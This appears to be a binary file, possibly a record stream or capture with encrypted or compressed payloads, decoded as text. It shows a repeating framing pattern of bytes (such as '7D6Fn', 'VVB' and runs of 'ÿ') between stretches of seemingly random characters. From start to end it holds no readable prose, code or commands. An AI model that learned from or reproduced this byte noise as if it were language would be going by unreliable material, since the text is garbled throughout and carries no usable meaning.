L7D6FntVVBÿÿÿÿÿÿ¿2) T¡ LÀóÀl<tճĦÑht›Ô@H`ÔÖ}P}x¿%! WWuB´ô®7:ktŸŒYTàì„…å7Ü'ÍaúäYP³7D6Fm~ Ô T¡ L7D6Fn€VVBÿÿÿÿÿÿ¿2) T¡ LÐó9 ‚ƒ­Y #9E…ùç(£á‡iò–&Äñ±›RYyésÆ®JgYy©X­‚ǩ㭾ˎF{E4MD7D6FmŠ Ô T¡ L7D6FnŒVVBÿÿÿÿÿÿ¿2) T¡ Làó¤Èãú ×#_Õ6ê™<(n¤xE¡´Øo9É+ÍLd‚,¹µ“÷™"bà–¼o[öFê#„Úû7D6Fm” Ô T¡ L7D6Fn–VVBÿÿÿÿÿÿ¿2) T¡ Lðó@Aîó^EþÉ”ëLaRó9W()¯ €ž|NÌ°Š_ÿø[à~îÒ»Aà âš\ 1¶ˆZyû.7D6Fm  Ô T¡ L7D6Fn¢VVBÿÿÿÿÿÿ¿2) T¡ LôÝÐAŽƒo¥º¦G|¦µ{Œ—«ê=¬©­3йøÉè 4¹÷ʰû Ë*òHR«u5…Ǩ$Ï“è17D6Fm¬ Ô T¡ L7D6Fn®VVBÿÿÿÿÿÿ¿2) T¡ LôÌÈŒ•{(ŶžnûRìF˜g8ÅüsjÔÚÎm­S'GÇê©kÓPeÝ~¹0úæÂÁ7D6Fm¸ Ô T¡ L7D6Fo¸VVBÿÿÿÿÿÿ¿2) T¡ L ôºÐ '¨¬Í·%MïZ*G8ñí¹‡ÀKOñßüP²Ëô.„:´„J:Ê";2°ßï$¨@B7*{³q¨¢uòß7D6FlÂ Ô T¡ L7D6FoÄVVBÿÿÿÿÿÿ¿2) T¡ L0ôE¬Ø·¾±®E.r–NÁ]Ù=8ÊÅ#͹güؘªž K }}6ßXoÏõà€œ“ÉK¥ýGâ—Ñ7D6FnÎ Ô T¡ L7D6FoÐVVBÿÿÿÿÿÿ¿2) T¡ L@ôõеÒãÑ#Ö »ï·$ɯõ N¼„Ì8µ¶»Ê߯šÀP(ð¬¨<æ f‰ô4h³ýGªÒ—¹îÁÈw7D6FmÚ Ô T¡ L7D6FoÜVVBÿÿÿÿÿÿ¿2) T¡ LPô¼Ü:¼m±$cö–þÅV•xÌÅ5'|}©KËó~&v(•*qñø\õ·ž' Ýbé[ï—ÊvïPr+K7D6Fmä Ô T¡ L7D6FnæVVBÿÿÿÿÿÿ¿2) T¡ L`ôÈDHÌI}@Êó¤Ó‰û<9S'b ÑŽÝøGiûnŸ`%Òv7TILÖàã‹Kthâé¡3Rz¤fKIR7D6Fmð Ô T¡ L7D6FnòVVBÿÿÿÿÿÿ¿2) T¡ Lpô×6Y†Â‘]›«!¹¤A¦%ÉOÚI9u7D6FmÖ Ô T¡ L7D6FoÖVVBÿÿÿÿÿÿ¿2) T¡ LÀõÈÖñ+5³.UÙÑ”ìkʃ¤ˆøoã¤$ª P×~Öìøªqmrm- Ñ"LÈ<þH˜íÚx?ª¹â7D6Fnà Ô T¡ L7D6FoâVVBÿÿÿÿÿÿ¿2) T¡ LÐõŸ9_W£(¸ãˆª÷-¿©ÑDìÿØô4ºßX±dç·|ÖÂ7ÏÎÎï¿4Q ;G‡È/^•v‰qp²gu[7D6Fnì Ô T¡ L7D6FoîVVBÿÿÿÿÿÿ¿2) T¡ LàõUF>XSl®‚;½8§]¹Y±bD=0wãS*ÙÂÕOv’˜e#“©Z“µºþhL)ÙŠÅé‡Ù•¤«<ïÆ7D6Fnø Ô T¡ L7D6FoúVVBÿÿÿÿÿÿ¿2) T¡ Lðõ_ƒÜ#gƒ¿Èù+ ,ž´a$\+”ˆµRh6ZÉÇî=yUAÊø;+×+_¡ É™ÇÈ-4­êà‚¡æ¡7D6Fn Ô T¡ L7D6FoVVBÿÿÿÿÿÿ¿2) T¡ Löh0N™ï–J¶1>ÉsЬž²UZ«¬'=˜k ïZºHˆ’è\WjJ² .¢¨í¦Ç¨¨+×s,,Xj7D6Fm Ô T¡ L7D6FpVVBÿÿÿÿÿÿ¿2) T¡ Löd\ÆÌUÛD$ÚDÿG¸åD‘$‚õµE_ÁtØŸF4uO@´×ê+t–;#ŽÕZ¤ñTOuRð¯Èÿi)7D6Fo Ô T¡ L7D6FoVVBÿÿÿÿÿÿ¿2) T¡ L ö¶Ê§ ŒÎµ'ÌÍ]ç—öý2¼È0-jgƒÅ|=¤A'Î2Ýnï" ¢p)À4ö**]ÃÊÊÃk•C&7D6Fm& Ô T¡ L7D6Fo(VVBÿÿÿÿÿÿ¿2) T¡ L0öp bò<3<ÂMõ’¹üqª>ÃâvCþÕ,çb¨€¹8ë˜ÒŽ™ ܧ#dï<‚>¯tbMÈ]<3¢[Pé7D6Fm0 Ô T¡ L7D6Fo2VVBÿÿÿÿÿÿ¿2) T¡ L@öóWn6?KôÞ0sõ} Ë_íCÏ6U@ØûÑLë#éèÓl:_øvÇaÂA)޾˜Œ©Cs¶ѱE£¤'­7D6Fn< Ô T¡ L7D6Fo>VVBÿÿÿÿÿÿ¿2) T¡ LPö‹{ÁÙS|°’+Ċ˯A—Åæt2DíŠb»Mm˜=ïç»8Ï;ªãnp­’VåC!ªn(ׯe¢17D6FnH Ô T¡ L7D6FpJVVBÿÿÿÿÿÿ¿2) T¡ L`ö~œ‰…@%Úç¥Å½ Öàœ›ò¥ô6yª«ˆ¥Z6™5È}?ßxîPvT†9D…B+!Òñ7D6FnT Ô T¡ L7D6FpTVVBÿÿÿÿÿÿ¿2) T¡ LpöïRðpG p߆^5†ð½(Þ7f£­âP)w?žœ„NZ8¹„CN¶ÙåàWª*‚tYï,ÖjšœH¬kÂä¿ ø‹F´,ÅAùã·|<‡´/-¬™Õá¬ï|H2ªÆ ŸƒÀÇœ7D6Fn¤ Ô T¡ L7D6Fp¤VVBÿÿÿÿÿÿ¿2) T¡ LàöþšMmÛvó>Èœ”9é?IÖ_3~¾¼?©`ÚÎ帑مSšdIxt0²¼•óg fÔ¾¸~ŠèÜ7D6Fo® Ô T¡ L7D6Fp°VVBÿÿÿÿÿÿ¿2) T¡ LðömbJ‹I[%Œ.gŒ ’(2½pkƒ4úÕ—wè]>‘¨V ]yÊÍVO^g£ÍL½)Îaþ Xk7D6Fnº Ô T¡ L7D6Fp¼VVBÿÿÿÿÿÿ¿2) T¡ L÷·`mÊ¡Ó2jÕHLÔ{Ãk>’Ç>Í…Ðx›þlbžâdäçdÁK¥.ö‘ 3BiuØI´Øc(€e*77D6FnÆ Ô T¡ L7D6FpÈVVBÿÿÿÿÿÿ¿2) T¡ L÷ÄèòFQA‹4nmaØS=ÏÝVšTæ6| ½2q|t*’Èó[ÈÒóƒS†]$÷NA-Zs(7D6FnÒ Ô T¡ L7D6FpÒVVBÿÿÿÿÿÿ¿2) T¡ L ÷ ªÒ{v3בuΞèp‡'ŠG›Vm `”üÂÿ„?|„͉ãQ[âì˜I%{Iyí(1ñšg’a]7D6FnÜ Ô T¡ L7D6FpÞVVBÿÿÿÿÿÿ¿2) T¡ L0÷À}^>þ‡N@W²‰@`6Øy^íóÌà-ÀUó öò19•{t9ì擨C¾eÄZµB'  ‘|Yà7D6Fnè Ô T¡ L7D6FpêVVBÿÿÿÿÿÿ¿2) T¡ L@÷F²š ã}pŸ6L1EšÃýô³äLHŦ-y€‰E¬E…xMM³Ë<Ó„T²ªji]»*ù@»¼R¡X.7D6Foô Ô T¡ L7D6FpöVVBÿÿÿÿÿÿ¿2) T¡ LP÷•e–9Ñ·‡”¯uèW~_Ìm`3%y–Gàd~­ŸÄQ@Q×@_ÛÇ6'?·gsø.#þÕX/È´âp7D6Fnþ Ô T¡ L7D6FpVVBÿÿÿÿÿÿ¿2) T¡ L`÷:ŒÝÖ‚kJ·-+Ì·L0]$U|Û2*¼žOl¤¬‹cÌÖ‰Ó&àã> ü¥0³i 7D6Fn8 Ô T¡ L7D6Fo:VVBÿÿÿÿÿÿ¿2) T¡ LÀ÷*òi»Ü=»×xW\W…b[­ á)j‹¶h^ÕHF¥\`ÂbܳhYë­" ð°¸[3 jéÕ29:ô7D6FnD Ô T¡ L7D6FpFVVBÿÿÿÿÿÿ¿2) T¡ LÐ÷ߞغyX‘c·húÖ³0•' Æ›DkÏ¡MÞ—òDÚ$YÝ(² "ÚÑìþžÏÑthÒ¶7D6FnN Ô T¡ L7D6FoPVVBÿÿÿÿÿÿ¿2) T¡ Là÷ÌÄoò(^*Ö7§¯Ñ‡ÒŽƒ$Ó! šÉ—Õ£n7Í„D+2 ß…ÜÁ£1ð€Î%1>urްM$Ëy…þö7D6FnZ Ô T¡ L7D6Fp\VVBÿÿÿÿÿÿ¿2) T¡ Lð÷VÛI w!‡MÞÔç”tõW—vNXêwïö(në­m¯º²ŽÈí€ï8³„áÖ÷sý0f§ÉJ†Ãº*I×7D6Fnf Ô T¡ L7D6FphVVBÿÿÿÿÿÿ¿2) T¡ LøW¼õâ`ôVsp.8§œ¨F Ø hÉqHdÉr·ñhðÊégíµë{ˆì*&—.Ì‹‡¾†;Š7½“Ã9z7D6For Ô T¡ L7D6ForVVBÿÿÿÿÿÿ¿2) T¡ Lø\ÜShʼÅe»)#ZVŒÉ†ƒ+%¶.ÖÖë°ýiš #olˆB+W ‘”Þm½8AG‹d}#Á…8~â7D6Fn| Ô T¡ L7D6Fp~VVBÿÿÿÿÿÿ¿2) T¡ L øPµà3¶zÇ¢äß‚_ó^ñW¬YÚÚQˆ§Þ‘1—EŠã?äiP'˧Á:ÂzdŒÜ̹Ž_÷{7D6Fnˆ Ô T¡ L7D6FoŠVVBÿÿÿÿÿÿ¿2) T¡ L0øUPéÑ,›å¯Â,PYîaLìŸq‚Ó½ùX/<ŸÑFß'GÚĨ²ðD€e#TäË¿ƒÖó¯”|7D6Fo” Ô T¡ L7D6Fp–VVBÿÿÿÿÿÿ¿2) T¡ L@øå ·^ŒDòîÊøñ ÙåÛ\k€—¬¸Q ú¿!ñXÍH0&!•„á”ÄݽÕ&Ðܶ•Ûìj)=ÝÞuH7D6Fn  Ô T¡ L7D6Fo VVBÿÿÿÿÿÿ¿2) T¡ LPø&7jÚ6¢ýÝšCååÃB–bÂAº.|-hã´^,_GêU‘­ÓÅÔà“œQ ‡€ðrá}7´Qî‹Å07D6Fnâ Ô T¡ L7D6FoâVVBÿÿÿÿÿÿ¿2) T¡ L`øÀ¶MùiÛ‹wP!v1»îg®Ö…OxCµ¬Ë«¼ËûzÌ¥Ÿ>™Ë¤}Åö_†—Ë…;_éda­‡èI7D6Fnì Ô T¡ L7D6FpîVVBÿÿÿÿÿÿ¿2) T¡ LpøD¨„&äóÃRÀL6g¨"õA# Zà~¦: <‡ì/ûR7ÞÖÄä›1<|¾~Ów›ø[|>Žg7yî n;7D6Foö Ô T¡ L7D6FoøVVBÿÿÿÿÿÿ¿2) T¡ L€øOh«V¾{ÆcftZŠXP .ˆÊ–Ý ™Ñ°9(QÔû0™p}D«Ã@¾”UÉ+z{þ cKA€u1Ÿ¶ar7D6Fm Ô T¡ L7D6FoVVBÿÿÿÿÿÿ¿2) T¡ LøÓdãŒ"¾8!gà´±u¨±žÅ²Ö Vêö8 ¶Ê|µúqmeM"bÛng/UW¼g_Å/^Í.)ÀMïs7D6Fn Ô T¡ L7D6FoVVBÿÿÿÿÿÿ¿2) T¡ L ø3¦rW6y‡j±CŒéj,Ð9©8ÿì C `H|€ö!|l«Ðswè„)ûËÔ*"„žgHŽ'¾ø¦7D6Fo Ô T¡ L7D6FoVVBÿÿÿÿÿÿ¿2) T¡ L°øÌ\{øµ$3:l¾Oõæ[+¥ 1  +?[ü{ä‰"f‹GØ=懩éü®ŸargòP%2l‘5ZP7D6Fn$ Ô T¡ L7D6Fo&VVBÿÿÿÿÿÿ¿2) T¡ LÀøÑÔÕ:V›óm‚8ØT(«Éšuúqù!”Ë>úÞÁáÙ$w^÷‰©(îÀq²ïzÅÝ5ó÷çœá7D6Fo0 Ô T¡ L7D6Fp2VVBÿÿÿÿÿÿ¿2) T¡ LÐø‡¶~Âv:ýKæ•í…Tø6çªd:îM ùáp[ý&vè_T%IK~y¤­–±M²y—`Ô®(€GÎ7D6Fn< Ô T¡ L7D6Fp>VVBÿÿÿÿÿÿ¿2) T¡ Làø¼ó¦‚ü´®<Ê>y†õ%O„o¾gbàRÏ•ÐïE°Ïa‰±–Í"ÞÌÙKO¬ë•-!Ò¼¤5·7D6FnF Ô T¡ L7D6FoHVVBÿÿÿÿÿÿ¿2) T¡ Lðø›8—¥¿ »Åþ—û軬Î<í­"÷|F/Ÿ¨ù=³l¯½ µß ÐõÎÏÈ~,!>ຫ„2W‹ŽØ 7D6FnR Ô T¡ L7D6FoTVVBÿÿÿÿÿÿ¿2) T¡ Lù˜Í㟑q÷U_égšª$„xªGà,TéN¤úÙèô½.é{,–Imžd„Ó¥ ×o‚IÇR7D6Fn^ Ô T¡ L7D6Fp`VVBÿÿÿÿÿÿ¿2) T¡ Lù72ßJ0,˜³æðç”»YW <6W‰†ÛÑIïs£F¨ƒí¬_§Íêàr±?B’IyÙÁ‚·¹©Ç27D6Fnj Ô T¡ L7D6FpjVVBÿÿÿÿÿÿ¿2) T¡ L ùwh!jû5èú+Á=ý¸ÖKÝßïÃ.N¥Q,Î䬾bÿ£ôÝ_¥ ¡ò7ѾµÎ6:„—Ö7D6Fnt Ô T¡ L7D6FovVVBÿÿÿÿÿÿ¿2) T¡ L0ùÿ,(åÙ¤·4nÈ"¯»Ì¥3öñƒ×t‡¹ù »R]¾Š£;Tc»3ëê¼Å‘†íÙÙßÜ 7D6Fn€ Ô T¡ L7D6Fo‚VVBÿÿÿÿÿÿ¿2) T¡ L@ù«¢EêqÚ i£Šoö1#]Ò žü-Mß:®Žm¸ Ã|Ôr˜gŒ½ã@%Ð0í{ß]¨Þ¿ 7D6FnŒ Ô T¡ L7D6FoŽVVBÿÿÿÿÿÿ¿2) T¡ LPùÂ|è§žMqê¼(‡±yáçYÕW&Ü=â˜J~Â!=JÈtN„ÁËNòþ)$ˆÍ=÷¿<¢]ÿ7D6Fn˜ Ô T¡ L7D6FošVVBÿÿÿÿÿÿ¿2) T¡ Lpù<¶Ž¸Ã8¨nµX þ†ï¥–Å:wŒbÕ¸úѶe¢~ÍÉf (LqÊçGa+ìï! ,ßol7D6Fn¢ Ô T¡ L7D6Fp¤VVBÿÿÿÿÿÿ¿2) T¡ L€ùTXœÕhN¾ËN~ ŸÍa Wxd¸€ÔCVI”öÃ4©ÜsCi}Ò4 6§ý‡ïݤ㜫.4=ö†H*WÇÛ7D6Fn® Ô T¡ L7D6Fo°VVBÿÿÿÿÿÿ¿2) T¡ Lù&´ÏÈу¦}f·+ó!$󎪩@<6D$JÁì’p"ì©ß ÙxÁ>HÅ #Ë·Ã9ŸKê_Ó°MS7D6Fnº Ô T¡ L7D6FoºVVBÿÿÿÿÿÿ¿2) T¡ L ù0ü‘ý3Õ¤v·€m@‰ÕyïðiˆlX¤#›ñxeˆöç@­ÙE™î‹ õm™!@^-V† ŒS6ñ˜7D6FnÄ Ô T¡ L7D6FpÆVVBÿÿÿÿÿÿ¿2) T¡ L°ù¶Â’|ê,N(ÎS}Æ[®šq¼èQ‹ô¨IOlp°?ðv6Äs†0gDº·¾]¤.4 [“z7áí˜7D6FmÐ Ô T¡ L7D6FpÒVVBÿÿÿÿÿÿ¿2) T¡ LÀùÃ’ÛA/“Ü0dVðdþ"HþsÊ@Mêñû´Iʪívú)d`£FZVê¨%rS&ÎIÖœD"z›¢7D6FmÜ Ô T¡ L7D6FpÞVVBÿÿÿÿÿÿ¿2) T¡ LÐù Rùí’1“1õø:Þõu§ÛÚ¬•®1߯Hê+´.zÒ¼í DÞ±AÑáÅ.‹b„j4ijH£®ð7D6Fnè Ô T¡ L7D6FoèVVBÿÿÿÿÿÿ¿2) T¡ Làùø…jM…±¨æfå'‚øŸãVŠ?xù[ßfU¡Á³N²’ÿçêáÌ¢ÅXaEòÜmLÌ›.ÃqSD¬7D6Fnò Ô T¡ L7D6FoôVVBÿÿÿÿÿÿ¿2) T¡ Lðù*l÷8u<°éÌE¬õƒ W<¶™&_œ €üžÖó…ðx•òw™­«Ú† '-e‹—ýhñ—ÎD)—Š7D6Fnþ Ô T¡ L7D6Fp VVBÿÿÿÿÿÿ¿2) T¡ LúéhÓwyÓðÂȲÑáÀµ¯×F—]4m¿XʇÀ,‘C¯Gcáõ´&r9-U³±<övR¶þÇO±A#7D6Fo Ô T¡ L7D6Fo VVBÿÿÿÿÿÿ¿2) T¡ Lúktt&̯ËÅá-Âýò¨{…pÖ´(`hBõѬHšÍ&¡#÷S{¡î’ª7D6Fn8 Ô T¡ L7D6Fo8 VVBÿÿÿÿÿÿ¿2) T¡ LPúb[ <„ÎÛz2¤mÒÞ§À‘±!¡¹³¥uÇâËØÁ˜òB«¬/ñ¬G‰É8á<Äp&íàôù’Ép7D6FnB Ô T¡ L7D6FpD VVBÿÿÿÿÿÿ¿2) T¡ L`úd¶¬©)„$ê̯ˆiÛ6ŽA2ÎÛŸ–B:ÿ-‘$»W×á}ª6O™šm¯>Fpxhñ˜™`²fŠUWÙ8„:7D6FoN Ô T¡ L7D6FoP VVBÿÿÿÿÿÿ¿2) T¡ Lpú݆#Lƒð{CÇ»ûdvxÏáR—]ÎÏfã©{@bÉà}~³ ŠŽÅL˜d1ikÉ–].:f;‘”7D6FnZ Ô T¡ L7D6Fo\ VVBÿÿÿÿÿÿ¿2) T¡ L€úsü«°ã¶ó ܇zÜã4–Ã*¤€o€çabîf@<éÛèú\+2‡Ój3¬HC £ ²‡Í ‘«ª÷²7D6Fnd Ô T¡ L7D6Fof VVBÿÿÿÿÿÿ¿2) T¡ LúXzMÛ©2nç*/€˜£ mièÀ ¶ñ`“Ø´MlÃ6šbV@añ ¸ƒ•2÷X9‡#;É*Î> 7D6Fop Ô T¡ L7D6For VVBÿÿÿÿÿÿ¿2) T¡ L ú8¶># qW$/wzRZ0¼¹êC*pâ¥Eü]b‡R…¶»v¤`‡Tê®¾ìÆª2wûûèT¤ìwÔûèl7D6Fn| Ô T¡ L7D6Fp~ VVBÿÿÿÿÿÿ¿2) T¡ L°ú˜Ô¼\Ù"o&½<6²MJ­F熣]’KmŒµñ9ÔÙQ¨ •ÓØÁæ2È<øG„Þœ‘ö0¢<[œ7D6Fmˆ Ô T¡ L7D6Foˆ VVBÿÿÿÿÿÿ¿2) T¡ LÀúî&ì4±ý7ákÆ-±kx¶Nq/hxŽ¢õ°@›Õª“¼9†Ü´o2ļ¬ûì OùˆqœkO7D6Fn’ Ô T¡ L7D6Fp” VVBÿÿÿÿÿÿ¿2) T¡ LÐúÞÅÍ å{gòžêJ GÁÒºâ´Äæ’ñ£\­“ÀL˜ð¤À_ÚÞ¢z`×2OãfRuB„¯Ù7D6Fnž Ô T¡ L7D6Fp  VVBÿÿÿÿÿÿ¿2) T¡ LàúÑòA–H1Q¦û¢òÁÐKÔ†ÀA@ ë»í¸¦úÜV[ï˜n^?Þ2½¿t–ÖÒÄkÁ~­Qh\]7D6Fnª Ô T¡ L7D6Fo¬ VVBÿÿÿÿÿÿ¿2) T¡ LðúÏŠ?µ%E€{,nl‹r‡è¶6 Í»yÑÇ«ºRÁ2€ü X7ÂéÿÎ>вá™Áa.&–DcÚ‹=–ß[7D6Fn¶ Ô T¡ L7D6Fp¶ VVBÿÿÿÿÿÿ¿2) T¡ Lû€®]qŵiášïˆj˜Šá[ >#¨Ò Lꪓ1ÆÀ™‡‰5¸¦ôï[º(ê™ÌtŒU˜öÇþÞ.¿r“7D6FnÀ Ô T¡ L7D6Fo VVBÿÿÿÿÿÿ¿2) T¡ Lû]Däur¢’‚ÓL#WÍ]nû)ä-¥IE[¦¡(VOÝ[ü¾‡ãˆéò|Ç:ñ”Ò³yQ+KªÅ{ûVX7D6FnÌ Ô T¡ L7D6FoÎ VVBÿÿÿÿÿÿ¿2) T¡ L ûÁºIäÏ dëûÅ^ü€:çòÎLÍt_ßçt¶ zYÿ<äË&ì¶Å¿þV4¤Â¼,`47D6FnØ Ô T¡ L7D6FoÚ VVBÿÿÿÿÿÿ¿2) T¡ L0û–ø{;øÿð(Å0L1#\óµÚk5´ÕŠ!†€Òo.»3œˆ[ˆk„<è@ìÄ~öõ”‹‚R\C 7D6Fnâ Ô T¡ L7D6Fpä VVBÿÿÿÿÿÿ¿2) T¡ L@ûéWêœs|S‘ýXDHÂqê̦ñÀ€ä;™b77qÇîø8—6½÷gâà0X#§•9ÌU]/š+7D6Fmî Ô T¡ L7D6Foð VVBÿÿÿÿÿÿ¿2) T¡ LPû„Œ=žÃý ã³-ÚK{L¸ „eRP ;è-\_ÑQñô-70® ­T/˜*]ü ”›„>Y V±èÁ€7D6Fnú Ô T¡ L7D6Foü VVBÿÿÿÿÿÿ¿2) T¡ L`ûM0ÃqÛð稯Áùw޽ ?‡ÛÿQŸôÔèºäO•Cx Äp¤ÔôMWv¯·*­ ƨ½"7žD¥#kÏ7D6Fn Ô T¡ L7D6Fo VVBÿÿÿÿÿÿ¿2) T¡ Lpûó¢Ö™g¹Ž*„8ÌJxÍ—‡¯Š]b*]˜ë7D6Fn2 Ô T¡ L7D6Fn4 VVBÿÿÿÿÿÿ¿2) T¡ LÀûo^ô RVõ[7”\€ìÏbámo³åAš’›UçQEPE޽\j9ñý+ÜiTÓÍÓt Í3¢ô¨ÑØJ7D6Fo> Ô T¡ L7D6Fp@ VVBÿÿÿÿÿÿ¿2) T¡ LÐûyœ´ÜÊבý˜‘j‰=ªo—ÊV–>ÛÞ$¡ãQ¼*À’+òKLB§îð+3¸CBÞ½7-6‰»–€7D6FnJ Ô T¡ L7D6FoL VVBÿÿÿÿÿÿ¿2) T¡ Làû»~²Ù·æõédüª®7ƒ9ºóÐßyHº)+ÄáCÜwŽÂöÕð§SÚ,œ”µþú^÷fyJªBCÞ]F7D6FnV Ô T¡ L7D6FoV VVBÿÿÿÿÿÿ¿2) T¡ LðûN¼©J±fKDcƒüè*»7ù°ˆåÉ!lß4¨›U7D6Fo„ Ô T¡ L7D6Fo„ VVBÿÿÿÿÿÿ¿2) T¡ L0ü:ê!^y‚c —HËÝAiñüÍÍãÁ=èŒ;ZpxËzÆô¼„bÐA±ÌŠ_óâŸF hnÛ –ŽÌí7D6FnŽ Ô T¡ L7D6Fo VVBÿÿÿÿÿÿ¿2) T¡ L@ü­X˜–æM %Bšç.“ôê©ÏHdº«¹€Okþy¹§’@™Þ`çëªWmL4uîýíÈ/pœi-Ì‹7D6Fnš Ô T¡ L7D6Foœ VVBÿÿÿÿÿÿ¿2) T¡ LPü®ðAˆïïà6š¡­$)¾ÕÆþ7D6Fn° Ô T¡ L7D6Fo² VVBÿÿÿÿÿÿ¿2) T¡ Lpüp›ìßNg«…’ëBªY«Á¦¦´$Göÿjš´ç;¤œ¶[a3‡ê"¾ã®…Í¡*ÕÝtòf* PsT7D6Fn¼ Ô T¡ L7D6Fo¾ VVBÿÿÿÿÿÿ¿2) T¡ L€üj©¬UäÖŸª†ŠÙTr‘i(áÛ;¸ñõú7D6Fn Ô T¡ L7D6Fp VVBÿÿÿÿÿÿ¿2) T¡ Lýàèr¯ÀŽ9BãnCLTô<¹÷9ëûOW[E WÁW=Úv»§•%J,Ó-¨ã`ìFÔƒ¸çÉÉÆ( „S Å é7D6Fn$ Ô T¡ L7D6Fo$ VVBÿÿÿÿÿÿ¿2) T¡ Lý`’´•d6Ñ­®8¿ð’øeÙ+”¬î2Ù{ÖO…;‘Pé¡4TQŠ=,ÿêj'sìHŸMÿ¡y;7D6Fm. Ô T¡ L7D6Fo0 VVBÿÿÿÿÿÿ¿2) T¡ L ýª, ÕDÒ÷ËiwÐ!ïŽÿ§ìë–3Ñ]ø‘žÌk踺ÇèU(¼£Ÿo°ðS<'Ÿ“2ÄàF–ZDÏ7D6Fn: Ô T¡ L7D6Fo< VVBÿÿÿÿÿÿ¿2) T¡ L0ý’âýp„S0Mr¡NM$NÌú40ZŒöMßE³äiG•»±ÂÁd¡;Ï +“&ÛuFZ–Ãv<èx¨(¿¡7D6FnF Ô T¡ L7D6FoH VVBÿÿÿÿÿÿ¿2) T¡ L@ý‚p× aЕYFE mÖTí×#Ÿ3•mUÝûÜ›6½¥5ŽÆ/Gíòž\Øó0(àåLá‹Ç³½ ‚h7D6FnR Ô T¡ L7D6FpR VVBÿÿÿÿÿÿ¿2) T¡ LPý£Ì‹rKÝã©ÛÁ¯ÀaåÎ|ó>VŸIOÇ6v»n3Òb±Zs 8þ k¨0¼$h=\]´ÇŽñG7D6Fn\ Ô T¡ L7D6Fp^ VVBÿÿÿÿÿÿ¿2) T¡ L`ýT|C¤ï‰EnŒÏ_&ú< búR—iŠþ –ì6[jÆ’j`Ö‚pD•|ÏhQçFÅëÉ$Ïiýtgª7D6Fnh Ô T¡ L7D6Fpj VVBÿÿÿÿÿÿ¿2) T¡ Lpý–¨¼P.*Œ;p׸j:Ø»H*kBZH’ZÀéP9ª^G—×}¿cô„[ÎÁ᫼Ü8ÿ»*ß'³ÆM7D6Fnt Ô T¡ L7D6Fov VVBÿÿÿÿÿÿ¿2) T¡ L€ý6vBn…ô=~ƒÛ,í¨òtÇóRfKd€&vsîÁq.f*LõF¼EeÚA20DÃdRøª“ýØÌ,œÀ7D6Fn~ Ô T¡ L7D6Fo€ VVBÿÿÿÿÿÿ¿2) T¡ LýyljõœÂ¦E¥òµ´DÀCÛB×óû eÕîQB8<›!Î’Í Õû±£O¬¾]øÖì iÕô*T€‰UÛ7D6FnŠ Ô T¡ L7D6FoŒ VVBÿÿÿÿÿÿ¿2) T¡ L ýÃüÓ¥”´zK(Mš+ð+“1&J¢ uD½0n|žwD”˜ÉçØ=Ä ¶zZ·èÉñê!ÅúÍP’(Yæôœ7D6Fn– Ô T¡ L7D6Fo˜ VVBÿÿÿÿÿÿ¿2) T¡ L°ýeÙíMá&®ŸˆìaFãÛçœsæcm ºžÎcèÌnèëp`vª€eR¶=|§‡q—á«ö‡×Ýú0Ù\é7D6Fn¢ Ô T¡ L7D6Fo¢ VVBÿÿÿÿÿÿ¿2) T¡ LÀý°þwùÃ>ë^HUÌg(U!ºˆÊ?Mˆø¯ ½¡‚ÙÏýœ`ƒš‡(‘>Æ7{¹H£ßý–QhüË437D6Fn¬ Ô T¡ L7D6Fo® VVBÿÿÿÿÿÿ¿2) T¡ LÐý…š§êD¦” Åœog)£àö×Ì|±ÐVb—3d]MFDxÓäD=kÜEúX¨$»<$™Á)7D6Fnº Ô T¡ L7D6Fp¼ VVBÿÿÿÿÿÿ¿2) T¡ LðýÿF¨Hdíµã³q!uø(}m@”u°Ï—š˜[JÊmxÝšÌñúÓJd@½cËDö'§k*̆mC7D6FnÄ Ô T¡ L7D6FpÆ VVBÿÿÿÿÿÿ¿2) T¡ Lþv¢­kK™†#Ìá»ÃÍéŽ|*¾ OMN1©\Vr»D¥²ê‹ÉÿŒéNJÐ9pw”têá\ÀçÏ?‰±°FD7D6FmÎ Ô T¡ L7D6FoÐ VVBÿÿÿÿÿÿ¿2) T¡ LþÂ`ìžü,¨3£Ø›€ë[LrÎi.Ÿ¡GÁľèà÷ÿêmÆXþ>@Ñž ÆMyfh ÿAPƒX”7D6FmÚ Ô T¡ L7D6FoÜ VVBÿÿÿÿÿÿ¿2) T¡ L þœ¦µç}Ëj%ü„þ Á&åµOJà¼ZeË ¬ûú•¡¬Ÿø çñtÂQ((¾]/‹½¼ít oÀPîKW}^7D6Fnæ Ô T¡ L7D6Foè VVBÿÿÿÿÿÿ¿2) T¡ L0þŠv¶#—UÙBËÔƒ€!Ï-c÷×R¼y=aõ°Ã">rdŽ$žÉvkË)´¨vA+Õbó÷7D6Fmò Ô T¡ L7D6Foò VVBÿÿÿÿÿÿ¿2) T¡ L@þ™€ž|f+=ë Ä¥Ìʹ͓@ç™§½áιZ¯ GÞqw½Ê ºmÊÀ'ñå¾7›@VA[Âè¯ð´[­ž+‘7D6Fnü Ô T¡ L7D6Foþ VVBÿÿÿÿÿÿ¿2) T¡ LPþÙj×øÙï _½KžÖ¯d!É4¡ `<¬‹£Š¼Îu;0Љ„)½›£åÿšÍ.{*Ú U/®Ì¥P7D6Fn Ô T¡ L7D6Fo VVBÿÿÿÿÿÿ¿2) T¡ L`þ ÂK„ý@þ‚îÖ4¹9c9¬™æd‹Ä̾šSWZÜÚz—e0?ÁImFþˆœRÖ^^.ê¥7D6Fn Ô T¡ L7D6Fp VVBÿÿÿÿÿÿ¿2) T¡ Lpþ£(L:H)yä ïš—Úã¦%€`Öôݦ`lPüù¸3ùÆ?¡ÚBd¸¼BvçzÒ ¸¯`7D6Fm Ô T¡ L7D6Fo VVBÿÿÿÿÿÿ¿2) T¡ L€þ¿Ò £ÀgØÝs½ã!Ha8ëñå+ú¬t ±ÔÞá^ažlâŽ9þwØ&“ð^ŸsË?¦«ìHQX7D6Fn* Ô T¡ L7D6Fo, VVBÿÿÿÿÿÿ¿2) T¡ Lþ_FÔs)¼Í|D~ˆÌ»0ë§@ÔŒë-«AEapù#'êo£$¢©=­Ï- éš»Ä ]IÚî­›û\×].7D6Fn6 Ô T¡ L7D6Fp8 VVBÿÿÿÿÿÿ¿2) T¡ L þÅ*(ëre( åbC á¹Ë[ÚïÛñÜXe C® 17ªÜ\ш$_ól"—@l ~_Ö½© é]®ö7D6FmB Ô T¡ L7D6FoD VVBÿÿÿÿÿÿ¿2) T¡ L°þ¤L"]<Þ¬× ‡ÊÅÕ®íç´ºœ0]år:ƒšAM¿—ö¬ñ©ThÛèÒm…Í¡Û_šÑ.þÔº!ú„7D6FnL Ô T¡ L7D6FoN VVBÿÿÿÿÿÿ¿2) T¡ 